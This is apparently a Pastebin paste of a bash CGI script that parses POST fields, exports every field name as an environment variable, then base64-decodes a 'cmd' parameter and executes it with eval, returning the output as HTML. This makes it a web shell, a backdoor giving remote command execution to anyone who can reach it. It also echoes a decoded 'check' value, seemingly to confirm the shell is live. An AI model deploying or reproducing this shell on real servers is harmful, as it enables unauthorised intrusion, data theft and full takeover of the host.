Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- echo -e "Content-type: text/html\n\n"
- function cgi_get_POST_vars(){
- [ "$REQUEST_METHOD" != "POST" ] && return
- [ ! -z "$QUERY_STRING_POST" ] && return
- [ -z "$CONTENT_LENGTH" ] && return
- read -N $CONTENT_LENGTH QUERY_STRING_POST
- return
- }
- function cgi_decodevar(){
- [ $# -ne 1 ] && return
- local v t h
- t="${1//+/ }%%"
- while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
- v="${v}${t%%\%*}"
- t="${t#*%}"
- if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
- h=${t:0:2}
- t="${t:2}"
- v="${v}"`echo -e \\\\x${h}`
- fi
- done
- echo "${v}"
- return
- }
- function cgi_getvars(){
- [ $# -lt 2 ] && return
- local q p k v s
- case $1 in
- GET)
- [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
- ;;
- POST)
- cgi_get_POST_vars
- [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
- ;;
- BOTH)
- [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
- cgi_get_POST_vars
- [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
- ;;
- esac
- shift
- s=" $* "
- while [ ! -z "$q" ]; do
- p="${q%%&*}"
- k="${p%%=*}"
- v="${p#*=}"
- q="${q#$p&*}"
- [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
- export "$k"="`cgi_decodevar \"$v\"`"
- done
- return
- }
- cgi_getvars POST ALL
- query=$(echo $cmd | base64 --decode)
- echo $(echo $check | base64 --decode)
- echo -e "<pre>\c"
- eval ${query}
- echo -e "</pre>\c"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement